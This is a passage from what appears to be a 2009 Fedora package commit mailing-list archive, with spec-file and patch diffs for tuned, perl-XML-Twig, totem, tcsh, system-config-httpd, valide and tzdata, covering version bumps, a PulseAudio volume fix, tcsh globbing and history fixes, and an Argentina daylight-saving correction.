+aa157f2c959a477eafdda8bc1cef588a  tuned-0.2.5.tar.bz2


Index: tuned.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tuned/F-12/tuned.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- tuned.spec	23 Sep 2009 10:53:48 -0000	1.9
+++ tuned.spec	19 Oct 2009 15:12:19 -0000	1.10
@@ -1,7 +1,7 @@
 Summary: A dynamic adaptive system tuning daemon
 Name: tuned
-Version: 0.2.4
-Release: 2%{?dist}
+Version: 0.2.5
+Release: 0.1%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 # The source for this package was pulled from upstream git.  Use the
@@ -13,12 +13,12 @@ Group: System Environment/Daemons
 Source: tuned-%{version}.tar.bz2
 URL: https://fedorahosted.org/tuned/
 Buildroot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+Requires: usermode
 Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
 BuildArch: noarch
-Requires: kobo
 
 %description
 The tuned package contains a daemon that tunes system settings dynamically.
@@ -74,8 +74,12 @@ fi
 %doc AUTHORS ChangeLog COPYING INSTALL NEWS README doc/DESIGN.txt doc/TIPS.txt ktune/README.ktune
 %{_initddir}/tuned
 %config(noreplace) %{_sysconfdir}/tuned.conf
+%config(noreplace) %{_sysconfdir}/pam.d/tuned-adm
+%config(noreplace) %{_sysconfdir}/security/console.apps/tuned-adm
 %{_sbindir}/tuned
 %{_sbindir}/tuned-adm
+# consolehelper hard link
+%{_bindir}/tuned-adm
 %{_sysconfdir}/tune-profiles
 %{_datadir}/tuned
 %{_mandir}/man1/*
@@ -97,6 +101,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.2.5-0.3
+- new release
+
 * Wed Sep 23 2009 Petr Lautrbach <plautrba at redhat.com> 0.2.4-2
 - fixed url to fedorahosted project page
 - Resolves: #519019



From mmaslano at fedoraproject.org  Mon Oct 19 15:20:01 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 19 Oct 2009 15:20:01 +0000 (UTC)
Subject: rpms/perl-XML-Twig/devel .cvsignore, 1.12, 1.13 perl-XML-Twig.spec, 
	1.25, 1.26 sources, 1.12, 1.13
Message-ID: <20091019152002.1FB0E11C0337@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-XML-Twig/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30673

Modified Files:
	.cvsignore perl-XML-Twig.spec sources 
Log Message:
* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.33-1
- new development release which should fix various bug reports e.g. 529220



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-Twig/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	3 Mar 2008 02:35:47 -0000	1.12
+++ .cvsignore	19 Oct 2009 15:20:00 -0000	1.13
@@ -1 +1 @@
-XML-Twig-3.32.tar.gz
+XML-Twig-3.33.tar.gz


Index: perl-XML-Twig.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-Twig/devel/perl-XML-Twig.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- perl-XML-Twig.spec	26 Jul 2009 17:39:52 -0000	1.25
+++ perl-XML-Twig.spec	19 Oct 2009 15:20:00 -0000	1.26
@@ -1,6 +1,6 @@
 Name:           perl-XML-Twig
-Version:        3.32
-Release:        3%{?dist}
+Version:        3.33
+Release:        1%{?dist}
 Summary:        A perl module for processing huge XML documents in tree mode
 
 Group:          Development/Libraries
@@ -92,6 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.33-1
+- new development release which should fix various bug reports e.g. 529220
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.32-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-Twig/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	3 Mar 2008 02:35:47 -0000	1.12
+++ sources	19 Oct 2009 15:20:00 -0000	1.13
@@ -1 +1 @@
-9df9dcab00aa093c4e540caa5cb759fa  XML-Twig-3.32.tar.gz
+495fd8c320f67a0c8e0b90ccb060f0ea  XML-Twig-3.33.tar.gz



From hadess at fedoraproject.org  Mon Oct 19 15:23:37 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 15:23:37 +0000 (UTC)
Subject: rpms/totem/F-11 0001-Set-the-PA-stream-volume-from-Totem.patch, 1.2,
	1.3 totem.spec, 1.246, 1.247
Message-ID: <20091019152337.D6AD411C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31809

Modified Files:
	0001-Set-the-PA-stream-volume-from-Totem.patch totem.spec 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-7
- Update pulsesink patch to use bicubic volumes (#512090)


0001-Set-the-PA-stream-volume-from-Totem.patch:
 configure.in                              |    2 
 src/backend/bacon-video-widget-gst-0.10.c |   93 +++++++++++++++++++++++-------
 2 files changed, 74 insertions(+), 21 deletions(-)

Index: 0001-Set-the-PA-stream-volume-from-Totem.patch
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/0001-Set-the-PA-stream-volume-from-Totem.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- 0001-Set-the-PA-stream-volume-from-Totem.patch	15 Sep 2009 12:23:19 -0000	1.2
+++ 0001-Set-the-PA-stream-volume-from-Totem.patch	19 Oct 2009 15:23:37 -0000	1.3
@@ -1,6 +1,6 @@
-From 6bd2e600030cfd3b19a4612a79eb8fcf07d878b5 Mon Sep 17 00:00:00 2001
+From 8d4d326c9bcfca643782ead1f5f7ced58485b62d Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
-Date: Tue, 18 Aug 2009 17:11:18 +0100
+Date: Mon, 19 Oct 2009 16:21:42 +0100
 Subject: [PATCH] Set the PA stream volume from Totem
 
 ...instead of having a separate one.
@@ -8,12 +8,27 @@ Subject: [PATCH] Set the PA stream volum
 - avoid setting the volume when pulsesink isn't in a state where it has
 a stream
 - don't set the volume on the stream on startup when using pulsesink
+- use bicubic volumes in the interface
 ---
- src/backend/bacon-video-widget-gst-0.10.c |   95 +++++++++++++++++++++++------
- 1 files changed, 76 insertions(+), 19 deletions(-)
+ configure.in                              |    2 +-
+ src/backend/bacon-video-widget-gst-0.10.c |   92 +++++++++++++++++++++++------
+ 2 files changed, 74 insertions(+), 20 deletions(-)
 
+diff --git a/configure.in b/configure.in
+index d3d4142..587a878 100644
+--- a/configure.in
++++ b/configure.in
+@@ -62,7 +62,7 @@ dnl release versions.
+ XINE_REQS=1.1.7
+ GST_MAJORMINOR=0.10
+ GST_REQS=0.10.12
+-GSTPLUG_REQS=0.10.12
++GSTPLUG_REQS=0.10.25
+ 
+ AC_ARG_ENABLE(xine,
+ 	AC_HELP_STRING([--enable-xine], [use xine instead of GStreamer for the backend]),
 diff --git a/src/backend/bacon-video-widget-gst-0.10.c b/src/backend/bacon-video-widget-gst-0.10.c
-index e43e068..066b2f3 100644
+index e43e068..da5203f 100644
 --- a/src/backend/bacon-video-widget-gst-0.10.c
 +++ b/src/backend/bacon-video-widget-gst-0.10.c
 @@ -163,7 +163,9 @@ struct BaconVideoWidgetPrivate
@@ -65,7 +80,7 @@ index e43e068..066b2f3 100644
  }
  
  void
-@@ -3142,11 +3150,32 @@ bacon_video_widget_set_volume (BaconVideoWidget * bvw, double volume)
+@@ -3142,11 +3150,29 @@ bacon_video_widget_set_volume (BaconVideoWidget * bvw, double volume)
    g_return_if_fail (BACON_IS_VIDEO_WIDGET (bvw));
    g_return_if_fail (GST_IS_ELEMENT (bvw->priv->play));
  
@@ -85,11 +100,8 @@ index e43e068..066b2f3 100644
 +      gst_element_get_state (bvw->priv->pulse_audio_sink, &cur_state, NULL, 0);
 +      if (cur_state == GST_STATE_READY || cur_state == GST_STATE_PLAYING)
 +      {
-+	gdouble new_vol;
 +	g_object_set (bvw->priv->pulse_audio_sink, "volume",
 +		      (gdouble) volume, NULL);
-+
-+        g_object_get (bvw->priv->pulse_audio_sink, "volume", &new_vol, NULL);
 +      }
 +    } else {
 +      g_object_set (bvw->priv->play, "volume",
@@ -100,7 +112,7 @@ index e43e068..066b2f3 100644
      g_object_notify (G_OBJECT (bvw), "volume");
    }
  }
-@@ -3154,14 +3183,10 @@ bacon_video_widget_set_volume (BaconVideoWidget * bvw, double volume)
+@@ -3154,14 +3180,10 @@ bacon_video_widget_set_volume (BaconVideoWidget * bvw, double volume)
  double
  bacon_video_widget_get_volume (BaconVideoWidget * bvw)
  {
@@ -116,7 +128,7 @@ index e43e068..066b2f3 100644
  }
  
  void
-@@ -4940,6 +4965,27 @@ got_new_video_sink_bin_element (GstBin *video_sink, GstElement *element,
+@@ -4940,6 +4962,27 @@ got_new_video_sink_bin_element (GstBin *video_sink, GstElement *element,
    g_mutex_unlock (bvw->priv->lock);
  }
  
@@ -144,7 +156,7 @@ index e43e068..066b2f3 100644
  GtkWidget *
  bacon_video_widget_new (int width, int height,
                          BvwUseType type, GError ** err)
-@@ -5005,15 +5051,18 @@ bacon_video_widget_new (int width, int height,
+@@ -5005,15 +5048,18 @@ bacon_video_widget_new (int width, int height,
        cb_gconf, bvw, NULL, NULL);
  
    if (type == BVW_USE_TYPE_VIDEO || type == BVW_USE_TYPE_AUDIO) {
@@ -171,7 +183,7 @@ index e43e068..066b2f3 100644
      }
    } else {
      audio_sink = gst_element_factory_make ("fakesink", "audio-fake-sink");
-@@ -5160,9 +5209,17 @@ bacon_video_widget_new (int width, int height,
+@@ -5160,9 +5206,17 @@ bacon_video_widget_new (int width, int height,
        /* make fakesink sync to the clock like a real sink */
        g_object_set (audio_sink, "sync", TRUE, NULL);
        GST_DEBUG ("audio sink doesn't work, using fakesink instead");
@@ -191,5 +203,5 @@ index e43e068..066b2f3 100644
      g_set_error_literal (err, BVW_ERROR, BVW_ERROR_AUDIO_PLUGIN,
                   _("Could not find the audio output. "
 -- 
-1.6.2.5
+1.6.5.rc2
 


Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/totem.spec,v
retrieving revision 1.246
retrieving revision 1.247
diff -u -p -r1.246 -r1.247
--- totem.spec	2 Oct 2009 23:26:25 -0000	1.246
+++ totem.spec	19 Oct 2009 15:23:37 -0000	1.247
@@ -9,7 +9,7 @@
 Summary: Movie player for GNOME
 Name: totem
 Version: 2.26.3
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -487,6 +487,9 @@ fi
 %endif
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-7
+- Update pulsesink patch to use bicubic volumes (#512090)
+
 * Sat Oct 03 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-6
 - Fix YouTube plugin URLs (#521725)
 



From vcrhonek at fedoraproject.org  Mon Oct 19 15:25:12 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Mon, 19 Oct 2009 15:25:12 +0000 (UTC)
Subject: rpms/tcsh/devel tcsh-6.17.00-glob-automount.patch, NONE,
	1.1 tcsh-6.17.00-history.patch, NONE, 1.1 tcsh.spec, 1.65, 1.66
Message-ID: <20091019152512.DB9AA11C00DC@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/tcsh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32317

Modified Files:
	tcsh.spec 
Added Files:
	tcsh-6.17.00-glob-automount.patch tcsh-6.17.00-history.patch 
Log Message:
Fix tcsh globbing causing bad automount, Fix truncated history file after network crash

tcsh-6.17.00-glob-automount.patch:
 sh.glob.c |  143 +++++++++++++++++++++++++++++++++++++++++++++++++++++---------
 1 file changed, 123 insertions(+), 20 deletions(-)

--- NEW FILE tcsh-6.17.00-glob-automount.patch ---
diff -up tcsh-6.17.00/sh.glob.c.glob-automount tcsh-6.17.00/sh.glob.c
--- tcsh-6.17.00/sh.glob.c.glob-automount	2008-06-19 17:20:56.000000000 +0200
+++ tcsh-6.17.00/sh.glob.c	2009-10-19 16:51:39.000000000 +0200
@@ -423,6 +423,14 @@ handleone(Char *str, Char **vl, int acti
     return (str);
 }
 
+static char **blkend(char **up)
+{
+
+    while (*up)
+        up++;
+    return (up);
+}
+
 static Char **
 libglob(Char **vl)
 {
@@ -430,6 +438,12 @@ libglob(Char **vl)
     glob_t  globv;
     char   *ptr;
     int     nonomatch = adrof(STRnonomatch) != 0, magic = 0, match = 0;
+    char  **snowc = NULL;
+    char  **nowc;
+    char  **globres;
+    char  **sres;
+    char  **res;
+    int     size = GLOBSPACE;
 
     if (!vl || !vl[0])
 	return(vl);
@@ -438,35 +452,124 @@ libglob(Char **vl)
     globv.gl_pathv = 0;
     globv.gl_pathc = 0;
 
+    sres = res = (Char **) xmalloc((size_t) (size * sizeof(Char *)));
+    *res = NULL;
+
     if (nonomatch)
 	gflgs |= GLOB_NOCHECK;
 
     do {
+        ptr = short2str(*vl);
+        if (!any(ptr, '?') && !any(ptr, '*') && !any(ptr, '[') && !any(ptr, ']'))
+        {
+                if (snowc == NULL)
+                        snowc = nowc = (Char **) xmalloc((size_t) ((blklen(vl) + 1) * sizeof(Char *)));
+                *nowc++ = SAVE(ptr);
+                *nowc = NULL;
+
+                continue;
+
+        }
 	ptr = short2qstr(*vl);
-	switch (glob(ptr, gflgs, 0, &globv)) {
-	case GLOB_ABEND:
-	    globfree(&globv);
-	    setname(ptr);
-	    stderror(ERR_NAME | ERR_GLOB);
-	    /* NOTREACHED */
-	case GLOB_NOSPACE:
-	    globfree(&globv);
-	    stderror(ERR_NOMEM);
-	    /* NOTREACHED */
-	default:
-	    break;
+        switch (glob(ptr, gflgs, 0, &globv)) {
+        case GLOB_ABEND:
+            globfree(&globv);
+            setname(ptr);
+            stderror(ERR_NAME | ERR_GLOB);
+            /* NOTREACHED */
+        case GLOB_NOSPACE:
+            globfree(&globv);
+            stderror(ERR_NOMEM);
+            /* NOTREACHED */
+        default:
+            break;
+        }
+        if (globv.gl_flags & GLOB_MAGCHAR) {
+            match |= (globv.gl_matchc != 0);
+            magic = 1;
+        }
+
+        globres = (globv.gl_pathc == 0 || (magic && !match && !nonomatch)) ?
+                NULL : blk2short(globv.gl_pathv);
+
+        if (snowc != NULL)
+        {
+               while ((blklen(sres) + blklen(snowc)) >= size) {
+                       size += GLOBSPACE;
+                       sres = (Char **) xrealloc((ptr_t) sres, (size_t) (size * sizeof(Char *)));
+               }
+
+                if (blklen(sres) == 0)
+                {
+                        sres = blkcpy(sres, snowc);
+                        res = blkend(sres);
+                }
+                else
+                {
+                        res = blkend(sres);
+                        res = blkcpy(res, snowc);
+                }
+                xfree(snowc);
+                snowc = NULL;
+        }
+
+        if (globres != NULL)
+        {
+               while ((blklen(sres) + blklen(globres)) >= size) {
+                       size += GLOBSPACE;
+                       sres = (Char **) xrealloc((ptr_t) sres, (size_t) (size * sizeof(Char *)));
+               }
+
+                if (blklen(sres) == 0)
+                {
+                        sres = blkcpy(sres, globres);
+                        res = blkend(sres);
+                }
+                else
+                {
+                        res = blkend(sres);
+                        res = blkcpy(res, globres);
+                }
+               xfree(globres);
+               globres = NULL;
 	}
-	if (globv.gl_flags & GLOB_MAGCHAR) {
-	    match |= (globv.gl_matchc != 0);
-	    magic = 1;
+        else
+        {
+               globfree(&globv);
+               return NULL;
 	}
-	gflgs |= GLOB_APPEND;
+
+        globfree(&globv);
     }
     while (*++vl);
-    vl = (globv.gl_pathc == 0 || (magic && !match && !nonomatch)) ? 
-	NULL : blk2short(globv.gl_pathv);
-    globfree(&globv);
-    return (vl);
+
+    if (snowc != NULL)
+    {
+       while ((blklen(sres) + blklen(snowc)) >= size) {
+               size += GLOBSPACE;
+               sres = (Char **) xrealloc((ptr_t) sres, (size_t) (size * sizeof(Char *)));
+       }
+
+        if (blklen(sres) == 0)
+        {
+                sres = blkcpy(sres, snowc);
+                res = blkend(sres);
+        }
+        else
+        {
+                res = blkend(sres);
+                res = blkcpy(res, snowc);
+        }
+        xfree(snowc);
+        snowc = NULL;
+    }
+
+    if (blklen(sres) != 0)
+       vl = saveblk(sres);
+    else
+        vl = NULL;
+
+    return vl;
 }
 
 Char   *

tcsh-6.17.00-history.patch:
 sh.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE tcsh-6.17.00-history.patch ---
diff -up tcsh-6.17.00/sh.c_old tcsh-6.17.00/sh.c
--- tcsh-6.17.00/sh.c_old	2009-10-19 17:18:01.000000000 +0200
+++ tcsh-6.17.00/sh.c	2009-10-19 17:18:50.000000000 +0200
@@ -1291,6 +1291,8 @@ main(int argc, char **argv)
     /*
      * Mop-up.
      */
+    /* Take care of these (especially HUP) here instead of inside flush. */
+    handle_pending_signals();
     if (intty) {
 	if (loginsh) {
 	    xprintf("logout\n");


Index: tcsh.spec
===================================================================
RCS file: /cvs/extras/rpms/tcsh/devel/tcsh.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- tcsh.spec	26 Aug 2009 15:06:48 -0000	1.65
+++ tcsh.spec	19 Oct 2009 15:25:12 -0000	1.66
@@ -3,7 +3,7 @@
 Summary: An enhanced version of csh, the C shell
 Name: tcsh
 Version: 6.17
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: BSD
 Group: System Environment/Shells
 Source: ftp://ftp.astron.com/pub/tcsh/%{name}-%{version}.00.tar.gz
@@ -18,6 +18,11 @@ Patch9: tcsh-6.13.00-memoryuse.patch
 Patch11: tcsh-6.14.00-order.patch
 Patch12: tcsh-6.15.00-rs-color.patch
 Patch13: tcsh-6.17.00-mh-color.patch
+# The idea is good, but the patch must be rewritten to be accepted by upstream
+# (see tcsh mailing list for more information):
+Patch14: tcsh-6.17.00-glob-automount.patch
+# Accepted by upstream:
+Patch15: tcsh-6.17.00-history.patch
 Provides: csh = %{version}
 Requires(post): grep
 Requires(postun): coreutils, grep
@@ -46,6 +51,8 @@ like syntax.
 %patch11 -p1 -b .order
 %patch12 -p1 -b .rs-color
 %patch13 -p1 -b .mh-color
+%patch14 -p1 -b .glob-automount
+%patch15 -p1 -b .history
 
 for i in Fixes WishList; do
  iconv -f iso-8859-1 -t utf-8 "$i" > "${i}_" && \
@@ -119,6 +126,10 @@ fi
 %{_mandir}/man1/*.1*
 
 %changelog
+* Mon Oct 19 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 6.17-4
+- Fix tcsh globbing causing bad automount
+- Fix truncated history file after network crash
+
 * Wed Aug 26 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 6.17-3
 - Add new colorls variable
   Resolves: #518808



From bioinfornatics at fedoraproject.org  Mon Oct 19 15:26:17 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 15:26:17 +0000 (UTC)
Subject: rpms/valide/devel import.log,1.5,1.6
Message-ID: <20091019152617.185C311C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32190/devel

Modified Files:
	import.log 
Log Message:

Update Valaide to the newest release



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/devel/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	19 Oct 2009 14:57:44 -0000	1.5
+++ import.log	19 Oct 2009 15:26:16 -0000	1.6
@@ -3,3 +3,4 @@ valide-0_5_1-0_12_20090715svn280_fc11:HE
 valide-0_5_1-0_13_20090715svn280_fc11:HEAD:valide-0.5.1-0.13.20090715svn280.fc11.src.rpm:1247684671
 valide-0_5_1-0_14_20090720svn291_fc11:HEAD:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248110015
 valide-0_5_1-0_18_20091019svn425_fc11:HEAD:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964121
+valide-0_5_1-0_18_20091019svn425_fc11:HEAD:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255965843



From pknirsch at fedoraproject.org  Mon Oct 19 15:32:10 2009
From: pknirsch at fedoraproject.org (Phil Knirsch)
Date: Mon, 19 Oct 2009 15:32:10 +0000 (UTC)
Subject: rpms/system-config-httpd/F-12 .cvsignore, 1.12, 1.13 sources, 1.15, 
	1.16 system-config-httpd.spec, 1.23, 1.24
Message-ID: <20091019153210.BA09511C00DC@cvs1.fedora.phx.redhat.com>

Author: pknirsch

Update of /cvs/pkgs/rpms/system-config-httpd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3091

Modified Files:
	.cvsignore sources system-config-httpd.spec 
Log Message:
- Some more translation updates
- Renamed sr at Latn.po to sr at latin.po (#426593)
- Switched to hashlib from md5
- Lotsa language updates
- Several fixes from Radek Novacek for the S-c-tools cleanup project:
- Resolves: #493830,#493841,#493895,#508068



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	20 Jul 2007 15:54:54 -0000	1.12
+++ .cvsignore	19 Oct 2009 15:32:09 -0000	1.13
@@ -1 +1 @@
-system-config-httpd-1.4.4.tar.gz
+system-config-httpd-1.4.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	20 Jul 2007 15:54:54 -0000	1.15
+++ sources	19 Oct 2009 15:32:09 -0000	1.16
@@ -1 +1 @@
-9edf9af8299e080e019e6f34aeb5e6fb  system-config-httpd-1.4.4.tar.gz
+29ed881700cc74faef3fb89449143080  system-config-httpd-1.4.6.tar.gz


Index: system-config-httpd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/F-12/system-config-httpd.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- system-config-httpd.spec	27 Jul 2009 05:22:52 -0000	1.23
+++ system-config-httpd.spec	19 Oct 2009 15:32:09 -0000	1.24
@@ -1,7 +1,7 @@
 Summary: Apache configuration tool
 Name: system-config-httpd
-Version: 1.4.4
-Release: 6%{?dist}
+Version: 1.4.6
+Release: 1%{?dist}
 Epoch: 5
 URL: http://www.redhat.com/
 Source0: system-config-httpd-%{version}.tar.gz
@@ -26,9 +26,9 @@ configure a httpd server.
 %setup -q -n system-config-httpd-%{version}
 
 %build
-%define _target_platform        %{nil}   
-%configure 
-%undefine       _target_platform  
+%define _target_platform        %{nil}
+%configure
+%undefine       _target_platform
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -74,6 +74,16 @@ fi
 %dir /var/cache/alchemist/apache
 
 %changelog
+* Mon Oct 05 2009 Phil Knirsch <pknirsch at redhat.com> 1.4.6-1
+- Some more translation updates
+- Renamed sr at Latn.po to sr at latin.po (#426593)
+- Switched to hashlib from md5
+
+* Thu Oct 02 2009 Phil Knirsch <pknirsch at redhat.com> 1.4.5-1
+- Lotsa language updates
+- Several fixes from Radek Novacek for the S-c-tools cleanup project:
+- Resolves: #493830,#493841,#493895,#508068
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5:1.4.4-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -287,7 +297,7 @@ fi
 - Fixed missing dependancy on 4Suite in the specfile.
 
 * Thu Aug 30 2001 Trond Eivind Glomsr?d <teg at redhat.com> 0.8.1-1
-- don't install desktop files in the kontrol-panel directory, it 
+- don't install desktop files in the kontrol-panel directory, it
   now reads the standard location as well (#52719)
 - nn and no summaries in .desktop files were switched
 - Fix character set for es.po, pt.po and it.po
@@ -314,7 +324,7 @@ fi
 - Minor changes to documentation
 
 * Tue May 14 2001 Philipp Knirsch <pknirsch at redhat.com> 0.8-3/2
-- Fixed some autofoo issues in Makefile.am, specfile and autogen.sh 
+- Fixed some autofoo issues in Makefile.am, specfile and autogen.sh
 - Fixed Bugzilla bug #40004 (small typo in src/ApacheControl.py)
 
 * Tue Mar 20 2001 Philipp Knirsch <pknirsch at redhat.com> 0.8-2/1



From pmachata at fedoraproject.org  Mon Oct 19 15:33:48 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Mon, 19 Oct 2009 15:33:48 +0000 (UTC)
Subject: rpms/tzdata/F-10 tzdata-2009o-argentinas.patch, NONE, 1.1 .cvsignore,
	1.52, 1.53 sources, 1.61, 1.62 tzdata.spec, 1.82,
	1.83 tzdata-2009m-karachi.patch, 1.1, NONE
Message-ID: <20091019153348.9AA2111C00DC@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/tzdata/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3768/F-10

Modified Files:
	.cvsignore sources tzdata.spec 
Added Files:
	tzdata-2009o-argentinas.patch 
Removed Files:
	tzdata-2009m-karachi.patch 
Log Message:
- Upstream 2009o
- Patch: Argentina doesn't enter DST


tzdata-2009o-argentinas.patch:
 southamerica |    9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

--- NEW FILE tzdata-2009o-argentinas.patch ---
--- tzdata2009o/southamerica~	2009-10-16 13:23:49.000000000 +0000
+++ tzdata2009o/southamerica	2009-10-16 13:24:14.000000000 +0000
@@ -215,9 +215,14 @@
 # http://www.jujuy.gov.ar/index2/partes_prensa/18_10_08/235-181008.doc
 # </a>
 
+# Margarita Manterola:
+# Same as always, Argentina's government just decided to change its mind
+# regarding DST, 2 days in advance.
+# http://www.lanacion.com.ar/nota.asp?nota_id=1186963&pid=7542694&toi=6275
+
 Rule	Arg	2007	only	-	Dec	30	0:00	1:00	S
-Rule	Arg	2008	max	-	Mar	Sun>=15	0:00	0	-
-Rule	Arg	2008	max	-	Oct	Sun>=15	0:00	1:00	S
+Rule	Arg	2008	2009	-	Mar	Sun>=15	0:00	0	-
+Rule	Arg	2008	only	-	Oct	Sun>=15	0:00	1:00	S
  
 # From Mariano Absatz (2004-05-21):
 # Today it was officially published that the Province of Mendoza is changing


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-10/.cvsignore,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- .cvsignore	23 Mar 2009 14:36:00 -0000	1.52
+++ .cvsignore	19 Oct 2009 15:33:48 -0000	1.53
@@ -20,3 +20,4 @@ tzdata2009a.tar.gz
 tzcode2009a.tar.gz
 tzdata2009d.tar.gz
 tzcode2009d.tar.gz
+tzdata2009o.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-10/sources,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- sources	16 Sep 2009 12:28:56 -0000	1.61
+++ sources	19 Oct 2009 15:33:48 -0000	1.62
@@ -1,4 +1,4 @@
 6a3392cd5f1594d13c12c1a836ac8d91  javazic.tar.gz
 e36d2f742c22f8c8dbf0686ac9769b55  tzdata-base-0.tar.bz2
 d181116286661375966a350e3e358cfa  tzcode2009k.tar.gz
-5314fe1483c7c1be17c50f2c2171e06b  tzdata2009m.tar.gz
+75c74b9c8df7c83c8e3c3068fff08a82  tzdata2009o.tar.gz


Index: tzdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-10/tzdata.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- tzdata.spec	23 Sep 2009 10:44:02 -0000	1.82
+++ tzdata.spec	19 Oct 2009 15:33:48 -0000	1.83
@@ -1,9 +1,9 @@
 Summary: Timezone data
 Name: tzdata
-Version: 2009m
-%define tzdata_version 2009m
+Version: 2009o
+%define tzdata_version 2009o
 %define tzcode_version 2009k
-Release: 2%{?dist}
+Release: 1%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: ftp://elsie.nci.nih.gov/pub/
@@ -17,7 +17,7 @@ Source0: tzdata-base-0.tar.bz2
 Source1: ftp://elsie.nci.nih.gov/pub/tzdata%{tzdata_version}.tar.gz
 Source2: ftp://elsie.nci.nih.gov/pub/tzcode%{tzcode_version}.tar.gz
 # __decl_patches
-Patch1: tzdata-2009m-karachi.patch
+Patch1: tzdata-2009o-argentinas.patch
 # __end
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -113,6 +113,13 @@ rm -rf %{buildroot}
 %{_datadir}/javazi
 
 %changelog
+* Mon Oct 19 2009 Petr Machata <pmachata at redhat.com> - 2009o-1
+- Upstream 2009o
+  - Bangladesh won't go back to Standard Time from October 1, 2009
+  - Pakistan leaves DST on October 1, 2009
+- Dropped tzdata-2009m-karachi.patch
+- Argentina does not enter DST on October 18 (tzdata-2009o-argentinas.patch)
+
